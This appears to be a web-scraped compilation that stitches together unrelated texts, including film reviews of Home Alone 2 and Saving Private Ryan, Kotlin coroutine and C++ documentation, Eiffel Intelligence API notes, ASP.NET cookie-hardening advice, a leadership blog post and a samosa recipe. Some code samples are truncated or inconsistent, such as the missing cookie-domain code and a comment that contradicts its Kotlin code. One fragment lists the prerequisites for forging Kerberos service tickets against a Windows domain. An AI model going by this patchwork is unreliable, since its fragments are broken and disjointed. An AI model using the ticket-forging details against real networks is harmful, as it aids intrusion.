HOME ALONE 2: LOST IN NEW YORK A film review by Chad Polenz Copyright 1997 Chad Polenz
** (out of 4 = fair) 1992, PG, 120 minutes [2 hours] [comedy] starring: Macauly Culkin (Kevin MaCallister), Joe Pesci (Harry), Daniel Stern (Marv), Brenda Fricker (The Pigeon Lady), written and produced by John Hughes, directed by Chris Columbus.
The idea of a small boy somehow separated from his family at Christmas, and then proceeding to befriend a misunderstood person, outsmart adults, and torture criminals in a cartoonish style is an idea that can (and should) be used once. "Home Alone 2: Lost In New York" is such a retread of the original it is one of the most predictable films I've ever seen. This story tries a too hard to be a lighthearted family movie and thus becomes very corny and sappy.
The film basically starts out the same as the first one, with the house full of people running all over the place, preparing for a family Christmas vacation in Florida. We get a lot of the same jokes with Kevin (Culkin) being dumped on and his mischievous antics, most of them provided by his Talkboy tape recorder (one of the most blatant plugs I've ever seen).
The funniest moment occurs near the beginning when Buzz, (Devin Ratray) Kevin's oldest brother, embarrasses him during his solo at a Christmas pageant, to which Kevin retaliates by punching him which causes a domino effect knocking the entire 100-kid choir off the stage. Perhaps this is just foreshadowing the jokes to come; lots of slapstick we've seen before that don't often work.
Through a series of cartoony coincidences and cliches, Kevin ends up on the wrong plane bound for New York City while the rest of the family heads to Orlando. But he is even more clever this time and proceeds to check himself into the Plaza Hotel.
Most of the film is plotless, it is just the adventures of Kevin alone in New York with a lot of money (he had his father's wallet with him) and a wild imagination. The problem is it's just too dumbed down, and that's saying something compared to the original.
 They are planning to rob a toy store, and tell him all the details, which of course he captures on tape. In fact, the Talkboy plays act as as an important source for plot and jokes. It allows Kevin to constantly fool people, but I found it impossible to believe no one realizes what they are hearing is a tape.
Of course there is the token scene where Kevin and his house of tricks (this time his uncle's abandoned for renovation townhouse) nearly kill Harry and Marv, but that's the entire premise of making and watching these films. I found myself laughing, but only a little bit. After a while the slapstick seemed just too painful and too fake to watch.
"Home Alone 2" doesn't work as a comedy, although I'm sure kids will like it.  Incredible coincidences and outrageous slapstick comedy are devices that can only work once (if at all), but Hollywood thrives on sequels.

Coroutines
Coroutines are experimental in Kotlin 1.1+. See details below
Some APIs initiate long-running operations (such as network IO, file IO, CPU- or GPU-intensive work, etc) and require the caller to block until they complete. Coroutines provide a way to avoid blocking a thread and replace it with a cheaper and more controllable operation: suspension of a coroutine.
Coroutines simplify asynchronous programming by putting the complications into libraries. The logic of the program can be expressed sequentially in a coroutine, and the underlying library will figure out the asynchrony for us. The library can wrap relevant parts of the user code into callbacks, subscribe to relevant events, schedule execution on different threads (or even different machines!), and the code remains as simple as if it was sequentially executed.
Many asynchronous mechanisms available in other languages can be implemented as libraries using Kotlin coroutines. This includes async
/await
from C# and ECMAScript, channels and select
from Go, and generators/yield
from C# and Python. See the description below for libraries providing such constructs.
Blocking vs Suspending
Basically, coroutines are computations that can be suspended without blocking a thread. Blocking threads is often expensive, especially under high load, because only a relatively small number of threads is practical to keep around, so blocking one of them leads to some important work being delayed.
Coroutine suspension is almost free, on the other hand. No context switch or any other involvement of the OS is required. And on top of that, suspension can be controlled by a user library to a large extent: as library authors, we can decide what happens upon a suspension and optimize/log/intercept according to our needs.
Another difference is that coroutines can not be suspended at random instructions, but rather only at so called suspension points, which are calls to specially marked functions.
Suspending functions
A suspension happens when we call a function marked with the special modifier, suspend
:
suspend fun doSomething(foo: Foo): Bar { ... }
Such functions are called suspending functions, because calls to them may suspend a coroutine (the library can decide to proceed without suspension, if the result for the call in question is already available). Suspending functions can take parameters and return values in the same manner as regular functions, but they can only be called from coroutines and other suspending functions, as well as function literals inlined into those.
In fact, to start a coroutine, there must be at least one suspending function, and it is usually a suspending lambda. Let's look at an example, a simplified async()
function (from the kotlinx.coroutines
library):
fun <T> async(block: suspend () -> T)
Here, async()
is a regular function (not a suspending function), but the block
parameter has a function type with the suspend
modifier: suspend () -> T
. So, when we pass a lambda to async()
, it is a suspending lambda, and we can call a suspending function from it:
async {
doSomething(foo)
...
}
Note: currently, suspending function types cannot be used as supertypes, and anonymous suspending functions are currently not supported.
To continue the analogy, await()
can be a suspending function (hence also callable from within an async {}
block) that suspends a coroutine until some computation is done and returns its result:
async {
...
val result = computation.await()
...
}
More information on how actual async/await
functions work in kotlinx.coroutines
can be found here.
Note that suspending functions await()
and doSomething()
cannot be called from function literals that are not inlined into a suspending function body and from regular function like main()
:
fun main(args: Array<String>) {
doSomething() // ERROR: Suspending function called from a non-coroutine context
async {
...
computations.forEach { // `forEach` is an inline function, the lambda is inlined
it.await() // OK
}
thread { // `thread` is not an inline function, so the lambda is not inlined
doSomething() // ERROR
}
}
}
Also note that suspending functions can be virtual, and when overriding them, the suspend
modifier has to be specified:
interface Base {
suspend fun foo()
}
class Derived: Base {
override suspend fun foo() { ... }
}
@RestrictsSuspension
annotation
Extension functions (and lambdas) can also be marked suspend
, just like regular ones. This enables creation of DSLs and other APIs that users can extend. In some cases the library author needs to prevent the user from adding new ways of suspending a coroutine.
To achieve this, the @RestrictsSuspension
annotation may be used. When a receiver class or interface R
is annotated with it, all suspending extensions are required to delegate to either members of R
or other extensions to it. Since extensions can't delegate to each other indefinitely (the program would not terminate), this guarantees that all suspensions happen through calling members of R
that the author of the library can fully control.
This is relevant in the rare cases when every suspension is handled in a special way in the library. For example, when implementing generators through the buildSequence()
function described below, we need to make sure that any suspending call in the coroutine ends up calling either yield()
or yieldAll()
and not any other function. This is why SequenceBuilder
is annotated with @RestrictsSuspension
:
@RestrictsSuspension
public abstract class SequenceBuilder<in T> { ... }
See the sources on Github.
The inner workings of coroutines
We are not trying here to give a complete explanation of how coroutines work under the hood, but a rough sense of what's going on is rather important.
Coroutines are completely implemented through a compilation technique (no support from the VM or OS side is required), and suspension works through code transformation. Basically, every suspending function (optimizations may apply, but we'll not go into this here) is transformed to a state machine where states correspond to suspending calls. Right before a suspension, the next state is stored in a field of a compiler-generated class along with relevant local variables, etc. Upon resumption of that coroutine, local variables are restored and the state machine proceeds from the state right after suspension.
A suspended coroutine can be stored and passed around as an object that keeps its suspended state and locals. The type of such objects is Continuation
, and the overall code transformation described here corresponds to the classical Continuation-passing style. Consequently, suspending functions take an extra parameter of type Continuation
under the hood.
More details on how coroutines work may be found in this design document. Similar descriptions of async/await in other languages (such as C# or ECMAScript 2016) are relevant here, although the language features they implement may not be as general as Kotlin coroutines.
Experimental status of coroutines
The design of coroutines is experimental, which means that it will be changed in the upcoming releases. When compiling coroutines in Kotlin 1.1+, a warning is reported by default: The feature "coroutines" is experimental. To remove the warning, you need to specify an opt-in flag.
Due to its experimental status, the coroutine-related API in the Standard Library is put under the kotlin.coroutines.experimental
package. When the design is finalized and the experimental status lifted, the final API will be moved to kotlin.coroutines
, and the experimental package will be kept around (probably in a separate artifact) for backward compatibility.
IMPORTANT NOTE: We advise library authors to follow the same convention: add the "experimental" (e.g. com.example.experimental
) suffix to your packages exposing coroutine-based APIs so that your library remains binary compatible. When the final API is released, follow these steps:
- copy all the APIs to
com.example
(without the experimental suffix), - keep the experimental package around for backward compatibility.
This will minimize migration issues for your users.
Standard APIs
Coroutines come in three main ingredients:
- language support (i.s. suspending functions, as described above);
- low-level core API in the Kotlin Standard Library;
- high-level APIs that can be used directly in the user code.
Low-level API: kotlin.coroutines
Low-level API is relatively small and should never be used other than for creating higher-level libraries. It consists of two main packages:
kotlin.coroutines.experimental
with main types and primitives such as:kotlin.coroutines.experimental.intrinsics
with even lower-level intrinsics such assuspendCoroutineOrReturn
.
More details about the usage of these APIs can be found here.
Generators API in kotlin.coroutines
The only "application-level" functions in kotlin.coroutines.experimental
are
These are shipped within kotlin-stdlib
because they are related to sequences. In fact, these functions (and we can limit ourselves to buildSequence()
alone here) implement generators, i.e. provide a way to cheaply build a lazy sequence:
import kotlin.coroutines.experimental.*
fun main(args: Array<String>) {
//sampleStart
val fibonacciSeq = buildSequence {
var a = 0
var b = 1
yield(1)
while (true) {
yield(a + b)
val tmp = a + b
a = b
b = tmp
}
}
//sampleEnd
// Print the first five Fibonacci numbers
println(fibonacciSeq.take(8).toList())
}
This generates a lazy, potentially infinite Fibonacci sequence by creating a coroutine that yields consecutive Fibonacci numbers by calling the yield()
function. When iterating over such a sequence every step of the iterator executes another portion of the coroutine that generates the next number. So, we can take any finite list of numbers out of this sequence, e.g. fibonacciSeq.take(8).toList()
results in [1, 1, 2, 3, 5, 8, 13, 21]
.
To demonstrate the real laziness of such a sequence, let's print some debug output inside a call to buildSequence()
:
import kotlin.coroutines.experimental.*
fun main(args: Array<String>) {
//sampleStart
val lazySeq = buildSequence {
print("START ")
for (i in 1..5) {
yield(i)
print("STEP ")
}
print("END")
}
// Print the first three elements of the sequence
lazySeq.take(3).forEach { print("$it ") }
//sampleEnd
}
Running the code above prints the first three elements. The numbers are interleaved with STEP
s in the generating loop. This means that the computation is lazy indeed. To print 1
we only execute until the first yield(i)
, and print START
along the way. Then, to print 2
we need to proceed to the next yield(i)
, and this prints STEP
. Same for 3
. And the next STEP
never gets printed (as well as END
), because we never requested further elements of the sequence.
To yield a collection (or sequence) of values at once, the yieldAll()
function is available:
import kotlin.coroutines.experimental.*
fun main(args: Array<String>) {
//sampleStart
val lazySeq = buildSequence {
yield(0)
yieldAll(1..10)
}
lazySeq.forEach { print("$it ") }
//sampleEnd
}
The buildIterator()
works similarly to buildSequence()
, but returns a lazy iterator.
One can add custom yielding logic to buildSequence()
by writing suspending extensions to the SequenceBuilder
class (that bears the @RestrictsSuspension
annotation described above):
import kotlin.coroutines.experimental.*
//sampleStart
suspend fun SequenceBuilder<Int>.yieldIfOdd(x: Int) {
if (x % 2 != 0) yield(x)
}
val lazySeq = buildSequence {
for (i in 1..10) yieldIfOdd(i)
}
//sampleEnd
fun main(args: Array<String>) {
lazySeq.forEach { print("$it ") }
}
Other high-level APIs: kotlinx.coroutines
Only core APIs related to coroutines are available from the Kotlin Standard Library. This mostly consists of core primitives and interfaces that all coroutine-based libraries are likely to use.
Most application-level APIs based on coroutines are released as a separate library: kotlinx.coroutines
. This library covers
- Platform-agnostic asynchronous programming with
kotlinx-coroutines-core
:- this module includes Go-like channels that support
select
and other convenient primitives, - a comprehensive guide to this library is available here;
- this module includes Go-like channels that support
- APIs based on
CompletableFuture
from JDK 8:kotlinx-coroutines-jdk8
; - Non-blocking IO (NIO) based on APIs from JDK 7 and higher:
kotlinx-coroutines-nio
; - Support for Swing (
kotlinx-coroutines-swing
) and JavaFx (kotlinx-coroutines-javafx
); - Support for RxJava:
kotlinx-coroutines-rx
.
These libraries serve as both convenient APIs that make common tasks easy and end-to-end examples of how to build coroutine-based libraries.

A number of algorithms provided in the C++ Standard Library accept functions as arguments. A simple example is the algorithm std::for_each(), which invokes a function, passed as an argument, on each value held in a container. For example, the following code fragment applies the printElement() function to produce output describing each element in a list of integer values:
void printElement(int value) { std::cout << "The list contains " << value << std::endl; } int main() { std::list<int> aList; ... std::for_each(aList.begin(), aList.end(), printElement); }
Binary functions take two arguments, and are often applied to values from two different sequences. For example, suppose we have a list of strings and a list of integers. For each element in the first list we wish to replicate the string the number of times given by the corresponding value in the second list. We can perform this easily using the function std::transform() from the C++ Standard Library. First, we define a binary function with the desired characteristics:
std::string stringRepeat(const std::string& base, int number) // replicate base the given number of times { std::string result; // initially the result is empty while (number--) result += base; return result; }
The following call on std::transform() then produces the desired effect:
std::list<string> words; std::list<int> counts; ... std::transform(words.begin(), words.end(), counts.begin(), words.begin(), stringRepeat);
Transforming the strings "one", "two", "three" with the values 3, 2, 3 would yield the result "oneoneone", "twotwo", "threethreethree".

Hi there! You should probably know a bit more about me before you dive into my website. My name is Mizna Uppal, I have many hobbies however one that stands out to me the most is “drawing”.

We do not think of the outcome which generally comes to pass and is also favourable: we do not succeed in changing things in accordance with our desires, but gradually our desires change. The situation that we hoped to change because it was intolerable becomes unimportant to us.

“Sometimes fate is like a small sandstorm that keeps changing directions. You change direction but the sandstorm chases you. You turn again, but the storm adjusts.

This storm is you. Something inside of you. So all you can do is give in to it, step right inside the storm, closing your eyes and plugging up your ears so the sand doesn’t get in, and walk through it, step by step. There’s no sun there, no moon, no direction, no sense of time. Just fine white sand swirling up into the sky like pulverized bones. That’s the kind of sandstorm you need to imagine. And you really will have to make it through that violent, metaphysical, symbolic storm. No matter how metaphysical or symbolic it might be, make no mistake about it: it will cut through flesh like a thousand razor blades. People will bleed there, and you will bleed too. Hot, red blood.  And once the storm is over you won’t remember how you made it through, how you managed to survive. You won’t even be sure, in fact, whether the storm is really over. But one thing is certain. When you come out of the storm you won’t be the same person who walked in. That’s what this storm’s all about.”

The :-moz-ui-invalid
CSS pseudo-class represents any validated form element whose value isn't valid based on their validation constraints, in certain circumstances. This pseudo-class is applied according to the following rules:
The result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control. However, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid. Required items have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value.
By default, Gecko applies a style that creates a red "glow" (using the
box-shadow
property) around items with that have this pseudo-class applied. See the
:invalid
pseudo-class for an example that shows how to override the default style.

10/10 - Alternative rating - A+
An elderly man stepping into an endless sea of white crosses. He finds one particular cross amidst thousands and falls on his knees before it. Suddenly we're transported to Omaha beach, it is June 6th 1944. Landing crafts are breaking the dark waves. Men are silently praying, some are throwing up, partly of fear, partly of seasickness. A shaking hand is reaching out for the water cannister. "30 seconds...God be with you...". A soldier kissing a silver cross in the sun light and then all hall breaks loose. The unprepared soldiers are met with overwhelming gunfire. Now the camera, masterfully handled by Director of Cinematography Janusz Kaminski , is running, twisting on the beach. Chaotic flashes of light, the ground going up and coming down, confused soldiers, half crazed by fear, are helplessly trying to stay alive. Some of these scenes will forever burn into your mind.  A German bullet fired from the bluff above gazes a GI helmet, making a harmless clang, but before the soldier can registrate his luck, another bullet catches him in the forehead, tearing out the back of his scull. Another soldier, a young boy, is lieng on the ground with his belly wide open, holding his silver cross. Burning men thrown many feet in the air by mines and grenades, land with missing body parts. Whether you live or die is a matter of luck, not survival tactics or experience. Severed heads, limbs, terror, screams and panic are everywhere - this is the real apocalypse now. No one dies heroically, pretty or mercifully. There are no John Wayns or Rambos. These soldiers are ordinary men in extraordinary sercomstances and they behaved extraordinary. When ends with success and the gun fire stops, Kaminski's previously furious camera, elegantly flyes over the beach. The sea water is red with blood and the shore is covered with uncountless bodies. And while the majestic and powerful score kicks in, you can whipe off your cold sweat and start breathing normally after the most intense, graphical, terrifying as well as artistic combat sequence ever created. This is the beginning of Steven Spielberg's nightmare vision of the "last good war" - "Saving Private Ryan" .. Slowly the plot begins to take shape.
Capt.John Miller ( Tom Hanks ) and his troop: a sensitive army medic Giovanni Ribisi ), a language specialist that has never been in combat Jeremy Davies ), a jew that takes the subject of war very personally ( Adam Goldberg ), an understanding and loyal sarge ( Tom Sizemore ), a Godfearing southern sharpshooter ( Barry Pepper ), a Brooklyn loud-mouth ( Edward Burns ) and an Italian-American ( Van Diesel ) have survived the carnage of the D-day assault and have been ordered new mission: to find and retrieve Pvt.James Ryan ( Matt Damon ), whose three brothers have been killed in action. Ryan is a paratrooper that has been dropped somewhere behind enemy line, in the german territory. Miller's men openly question why the life of an unknown soldier should be more valuable then their own. As they move deeper into hostile territory, difficult decisions must be made. Should they save a little French girl from a war torn village at the expense of their mission? Should they execute a German POW for killing their fellow soldier or should they let him go at the risk that he will rejoin his forces and continue fighting? Actually the whole film is one big moral dilemma.
You can say that the plot is pure Hollywood - risking the lives of seven men to save one. But it is extremely effective as it displays the meaningless of war itself.
The cast could not be better, consisting of a few well known actors and fresh, new talents. Spielberg has masterfully recreated the bondage between the soldiers in the squad. We get a peek into their confused minds and tortured soals; we get to know them. This makes it extremely hard (emotionally) to see them die before our eyes for nothing and no one.
The visuals are breathtaking and award worthy. Incredibly original cinematography by Janusz Kaminski ("Schindler's List") bases itself mostly on handhold cameras that plases you right in the middle of the carnage of battle. This creates a much stronger effect than if you film from the air as in "The Longest Day" and several other films. Tom Sanders' historical art direction is equally spectacular - ancient churches and historical buildings ruined by explosions. Sanders has been very careful with details. The dramatic score by John Williams is not disappointing, however it sometimes pushes to hard. Williams' work in "Amistad" I enjoyed much better. The sound is as nothing I've ever heard before - you feel bullets around you, you have to turn around and check if the person beside you is still alive. The visual effects are likewise spectacular and absolutely convincing. But in comparison to last year's Oscar winner "Titanic", the real strength of "Saving Private Ryan" lies not in its visual beauty and marvelous effects, but in its deep and emotional plot and wonderful performance of the cast (especially by Tom Hanks and Giovanni Ribisi).
When the film ended I sat, cold sweltering and deeply moved by what I have just seen, or better described - experienced. "Saving Private Ryan" is probably the best and most powerful war film that has ever been made. Its achievement lies in its openness, its uncovered, graphical display of insanity and heroism of ordinary people that made the difference and eventually won the war. It's a monument to those who fought and died and to those who survived. It's purpose is not only to show us how the war was like, but also to realize that behind every cross there is a man, a life, dreams, hopes and family. "Saving Private Ryan" is a tale about humanity and self-sacrifis among the horrors of war.

Leadership.
Compassionate Leadership
It's important to recognise that leadership does not necessarily imply that the leader is of a higher rank than those following. In fact plenty of good leadership comes from those around us, in the same boat as us, and conversely there are very many people in charge of others who demonstrate very poor leadership. Leadership, in my opinion, is getting people to move in the same direction, motivating people to accomplish things. This is often achieved by a manager or boss, but good leadership can come from anywhere.
In SIY, compassion is emphasised as THE main component of good leadership, and I would tend to agree. So much negativity in thought comes from the unknown. People are unsure about things, so they worry, they connect dots in their heads that don't really connect, they infer intent where there was none. People generally just want to be understood and want to be listened to. When that happens, things can generally be worked out, even if it doesn't always turn out the way people had initially wanted. Demonstrating compassion is a great way to listen to someone, hear them, and actually understand a bit about where they are coming from. This makes people happy, and happy people are more motivated!

Status, Certainty, Autonomy, Relatedness, Fairness. These are five social domains that have a very strong influence over our behaviour and emotions through reward/avoidance mechanisms. In my own life I can certainly relate to many of these. Status is a particularly powerful one I think, but thankfully as I've grown older I've learned to be a lot more selective in the opinions that I value, so I tend to be less concerned with status. Nevertheless, it is always present to some degree.
In tackling something like Phase 0 of Dev Academy, I think status could have been a really influence player.  But, as SIY mentions, if you turn it around into a challange against yourself, to master a skill, then it becomes a great motivator, and I feel that that is what is happening in our cohort. When everyone is supportive of others' learning, then we realise that comparing ourselves to others is a little useless, and instead we can focus on improving ourselves.
Of course, it helps knowing that we're all in the same boat, and hence have a greater relatedness factor, and this will hopefully enable us to create really good team work and trust within our cohort.


The front-end is accessible not only via the web GUI.
The front-end has a bridge functionality that is built in as a part of the front-ends web server and handles request coming from the web GUI towards any of the back-ends configured. The front-end may also be used by other tools such as CURL or any kind of program that can make HTTP(S) requests.
While the web GUI may use the back-end instances list and select different back-ends in an easy way, a user that uses the front-end without the included web GUI may need to specify a back-end URL. This may be done by adding a backendurl parameter to the request.
Note that for users where the front-end and back-end is running with the help of Tomcat there will be context paths used.
The front-end may have been setup with a default back-end, this means that if no back-end is specified when making a HTTP request to the front-end the default back-end will be used. If you want to see a list of back-ends and see if there is a default back-end set you may use the command:
curl -X GET http://localhost:8080/eifrontend/backend
curl -X GET http://localhost:8080/backend
The default back-end should have the key defaultBackend set to true. If the JSON list ends up empty there are no back-ends specified in the front-end. If there is no JSON object with the key set to true there is no default back-end.
You may see that in the list, all objects have a key active set to true or false, this key points to the back-end that acts as default, if no default back-end exist, the active should usually be the first object in the list.
If the back-end list lacks a default back-end one may be added by using a HTTP POST request. The injected object should be specified in JSON and look like the example below.
[ {"name":"Any default name", "host":"*Your back-end url*", "port":8090, "contextPath":"", "https":false, "defaultBackend":true} ]
You may add a back-end using for example CURL:
curl -d '{"name":"My Default Back-End","host":"localhost","port":8090,"contextPath":"","https":false,"defaultBackend":true}' \ -H "Content-Type: application/json" -X POST http://localhost:8080/*front-end-context-path*/backend
Note: name must be unique.
Even with different names all elements must be unique, you may not have two or more elements with the same host, port, contextPath or https value, one of these three keys must be different. Only the contextPath key may be left empty.
[ {"name":"My Back-End","host":"localhost","port":8090,"contextPath":"","https":false,"defaultBackend":true}, {"name":"My Back-End 2","host":"local-toast","port":8090,"contextPath":"","https":false,"defaultBackend":false}, {"name":"My Back-End 3","host":"localhost","port":8091,"contextPath":"","https":false,"defaultBackend":false}, {"name":"My Back-End 4","host":"localhost","port":8090,"contextPath":"/back-end","https":false,"defaultBackend":false}, {"name":"My Back-End 5","host":"localhost","port":8090,"contextPath":"","https":true,"defaultBackend":false} ]
All entries has different names. Second entry has different host, third entry has different port, third entry has different contextPath, fifth entry has https changed to true.
[ {"name":"My Back-End","host":"localhost","port":8090,"contextPath":"","https":false,"defaultBackend":true}, {"name":"My Back-End","host":"local-toast","port":12345,"contextPath":"/my-path","https":true,"defaultBackend":false}, {"name":"My Back-End 2","host":"localhost","port":8090,"contextPath":"","https":false,"defaultBackend":false} ]
The second entry is invalid due to having the same name as the first entry. The third entry is invalid due to having the same value in all fields as the first entry.
As a user of the front-end you may want to specify your own back-end URL if you do not want to use the default back-end. This is possible to do by injecting the back-end URL as a query parameter. The parameters key should be backendurl then enter the full HTTP URL you wish to use.
An example of a way to add such parameter is below, note that the “?” indicates that parameters has been added to the front-end url. localhost:8080 is the front-end url, and we want to access the context path /auth but on URL http://<IP_ADDRESS>:8090/ that is the back-end we wish to use.
curl -X GET http://localhost:8080/auth?backendurl="http://<IP_ADDRESS>:8090/"
Example with Tomcat:
curl -X GET http://localhost:8080/eifrontend/auth?backendurl="http://<IP_ADDRESS>:8090/eibackend/"
This way of entering the backendurl may be the easiest way. It works with GET, POST and PUT requests. Currently entering just a back-end name is not supported.
Note: It is not possible to add the backendurl parameter as a JSON parameter.
| Context Path | Type | Explanation |
|---|---|---|
| /auth | GET | Check if LDAP security is enabled |
| /auth/checkStatus | GET | Used to check the back-end status. |
| /subscriptions | GET | Fetches all available subscriptions from the back-end |
| /subscriptions | POST | Request to add a new subscription included as a JSON object |
| /subscriptions | PUT | Request to update a given subscription object included as a JSON object |
| /subscriptions/*subscription name* | GET | Fetches information about a single subscription from the back-end |
| /subscriptions/*subscription name* | DELETE | Deletes a single instance from the back-end |
| /information | GET | Fetches all information from about the back-end and its components |
| /queryAggregatedObject | GET | Download a subscription template json file |
| /queryMissedNotifications | GET | Queries any missed notifications |
| /query | GET | Free style query; user specifies queries |
| /query | POST | Free style query; user specifies queries |
| /rules/rule-check/testRulePageEnabled | GET | TestRules status, is Test Rules functionality enabled in the back-end |
| /rules/rule-check/aggregation | POST | Takes rules and events from an object and returns an aggregated object |
A curl call with the command: curl -X GET http://localhost:8080/auth Gives the response data {"security":false}. The security parameter would be true if LDAP was enabled.
The /subscriptions endpoint is one that may be used the most, we may call that endpoint using three methods GET, POST and PUT.
A POST request with subscriptions in a file may look as the following example.
curl -X POST -d @file_containing_list_of_json_objects -H "Content-Type: application/json" \ http://localhost:8080/subscriptions?backendurl="http://<IP_ADDRESS>:8090/"
Here is an example using this endpoint and the result it gives in case we have the templated subscriptions added.
curl -X GET http://localhost:8080/subscriptions?backendurl="http://<IP_ADDRESS>:8090/"
The back-end used is running on localhost and port 8080, we redirect the request to <IP_ADDRESS> and port 8090 as requested in the query parameters and the result is as follows
[ { "aggregationtype":"eiffel-intelligence", "created":1543577879242, "notificationMeta":"http://eiffel-jenkins1:8080/job/ei-artifact-triggered-job/build", "notificationType":"REST_POST", "restPostBodyMediaType":"application/x-www-form-urlencoded", "notificationMessageKeyValues":[ { "formkey":"json", "formvalue":"{parameter: [{ name: 'jsonparams', value : to_string(@) }]}" } ], "repeat":false, "requirements":[ { "conditions":[ { "jmespath":"gav.groupId=='com.othercompany.library'" } ] } ], "subscriptionName":"Subscription1", "userName":"functionalUser", "password":"", "ldapUserName":"", "notificationMessageKeyValuesAuth":[], "_id":{ "$oid":"5c012117aeb9d61aed160a2c" }, "authenticationType":"BASIC_AUTH" }, { "aggregationtype":"eiffel-intelligence", "created":1543577879265, "notificationMeta":"http://eiffel-jenkins2:8080/job/ei-artifact-triggered-job/build", "notificationType":"REST_POST", "restPostBodyMediaType":"application/x-www-form-urlencoded", "notificationMessageKeyValues":[ { "formkey":"json", "formvalue":"{parameter: [{ name: 'jsonparams', value : to_string(@) }]}" } ], "repeat":false, "requirements":[ { "conditions":[ { "jmespath":"gav.groupId=='com.othercompany.library'" } ] } ], "subscriptionName":"Subscription2", "password":"", "ldapUserName":"", "notificationMessageKeyValuesAuth":[], "_id":{ "$oid":"5c012117aeb9d61aed160a2d" }, "authenticationType":"NO_AUTH" }, { "aggregationtype":"eiffel-intelligence", "created":1543577879280<EMAIL_ADDRESS>"notificationType":"MAIL", "restPostBodyMediaType":"", "notificationMessageKeyValues":[ { "formkey":"", "formvalue":"{mydata: [{ fullaggregation : to_string(@) }]}" } ], "repeat":false, "requirements":[ { "conditions":[ { "jmespath":"gav.groupId=='com.othercompany.library'" } ] } ], "subscriptionName":"Subscription3_Mail_Notification", "password":"", "ldapUserName":"", "notificationMessageKeyValuesAuth":[], "_id":{ "$oid":"5c012117aeb9d61aed160a2e" }, "authenticationType":"NO_AUTH" } ]

Capsul
[T] extends AnyRef
An encapsulation for thread-safe state.
An encapsulation for thread-safe state.
Methods are named <dispatch><operation><mode>
Dispatch types:
- send: Enqueue an action, returning Future[Unit]. Once the future is resolved, the action has been accepted by the worker, but not necessarily performed.
- (none): Perform an action, returning a StagedFuture[T].
Operations:
- mutate: accepts a function of type
Ref[T] => R
, returnsR
- transform: accepts a function of type
T => T
, returns Unit - set: accepts a new value of type
T
, returns Unit - access: accepts a function of type
T => R
, returnsR
. The function is executed sequentually with other tasks, so it's safe to mutateT
. If you simply want to get the current vaue without blocking other tasks, use current.
Modes:
Modes control when the state will accept more work. Each state will accept up to
bufLen
items immediately, and will run the functions sequentually.For asynchronous modes, subsequent tasks will still be run immediately after the function completes, but the task won't be considered done (for the purposes of accepting more tasks) until the future is resolved.
This means that you must be careful with
mutate
actions or with mutable state objects - you may mutate the state during the execution of the function, but you may not do so asynchronously (e.g. after your future completes)- (empty): Synchronous. The task is completed as soon as it returns.
- async: async (Future). The work returns a Future[T], and the next task may begin immediately. This task continues to occupy a slot in this state's queue until the future completes.
- staged: async (StagedFuture). The work returns a StagedFuture[T], and the next task may begin immediately. This task continues to occupy a slot in this state's queue until the StagedFuture is accepted.

StagedFuture
[T] extends Future[T]
A staged future represents both asynchronous acceptance and asynchronous fulfilment of a piece of work.
A staged future represents both asynchronous acceptance and asynchronous fulfilment of a piece of work.
By explicitly representing asynchronous acceptance, consumers can implement backpressure without resorting to synchronous blocking.
It's conceptually just a
Future[Future[T]]
, where the outer future is resolved once the receiver has accepted the work, and the inner future is resolved once the work is actually complete. For convenience, it also implements Future[T] so you can wait for the final result easily when necessary.The only additional methods on top of Future are:

Set strict domains and paths for session cookies. Setting strict domains and paths in session cookies makes it harder for attackers to hijack user sessions.
Set the cookie path.
if (Response.Cookies.Count > 0)
{
foreach (string cookie in Response.Cookies.AllKeys)
{
if (cookie == “ASP.NET_SessionId”){
Response.Cookies[cookie].Path = "StrictPath";
}
}
}
In the code above, "StrictPath" is the strict path value defined for the session cookie. The code example above is bulky to make sure that the session cookie exists, because otherwise the application will throw an exception.
Set the cookie domain.

}
}
In the code above, "StrictDomain" is the strict domain value defined for the session cookie. The code example above is bulky to make sure that the session cookie exists, because otherwise the application will throw an exception.


You'll need to find a few pieces of information for this: SPN of the service you want to access, domain SID, domain user account SID and account name with local admin access, and a domain group that user is a member of if it's group-based local admin.
For the service, the most common will be cifs/ as it maps back to the HOST/ service

Drives #
The type
of a constraint describes the interactions of two nodes.
Using only the core
module the type
can be set as free
or const
to allow or disallow motion respectively.
mec2.drive
allows this type
to be set as drive
as well.
A constraint of type
drive has a determined motion, which allows linkages with one degree of freedom to be fully determined.
Further properties can be provided to describe the motion (all angles in radiant):
func
: The function used to describe the motions. Default islinear
. A lot of other functions are implemented after VDI 2145, as well as web easing functions.ref
: Use the angle of another constraints as reference.Dw
: Angle of rotation. Default:2 * Math.PI
.t0
: Time in milliseconds when to start the drive, after model initialization.Dt
: Time needed for one turn.bounce
: Perform a reversed motion after each interval (bounce
is issued between repetitions).repeat
: Repeat the motion this many times.args
: Arguments for sequential functions. Implemented in the second example.
Using combinations of these properties a variety of motions can be described.
Example: #

"nodes": [
{
"id":"A0", "x": 200, "y": 40, "base": true

"constraints": [
{
"id":"a","p1":"A0","p2":"A",

}
]
}
Drive Sequence #
Drive functions can be composed as a sequence ('func':'seq'
) of normalized functions, being one of ['const', 'linear', 'quadratic', 'harmonic', 'sinoid', 'poly5']
each. Every segment of a drive sequence must specify its function type func
, its duration dt
(always positive) and its value range dz
(might be negative).

Preparation time
30 mins to 1 hour
Cooking time
30 mins to 1 hour
Serves
Makes approximately 12 small samosas
Dietary
Baked samosas are a healthier alternative to the fried versions you find in most Indian takeaways - Manju Mahli’s spicy vegetarian version makes a stunning starter or snack.
Each serving provides 133kcal, 4g protein, 21g carbohydrate (of which 2g sugars), 3g fat (of which 0.5g saturates), 4g fibre and 0.4g salt.
Preheat the oven to 180C/350F/Gas 4.
For the filling, boil the potatoes in a pan of boiling, salted water for about 10-15 minutes, or until tender. Drain, roughly mash the potatoes and set aside.
Meanwhile, bring another pan of water to the boil and cook the carrots for a few minutes, drain and set aside. Bring a third pan of water to the boil and cook the peas for a few minutes, drain and set aside.
For the filling, heat the olive oil in a pan, add the cumin seeds and after they start to splutter, add the onion and chillies. Fry for 6-7 minutes, or until softened.
Mix in the salt, coriander and garam masala, and stir-fry for a minute. Add the carrots and peas and fry for a couple of minutes.
Add the mashed potato and coriander leaves, and stir well until all the ingredients are blended together.
For the pastry, place the flour, oil, salt and 6-7 tablespoons of water into a bowl.
Using your hands, knead into a dough for 5-8 minutes.
Mix together a little flour and water in a small bowl to make a glue-like paste. Place this mixture to one side.
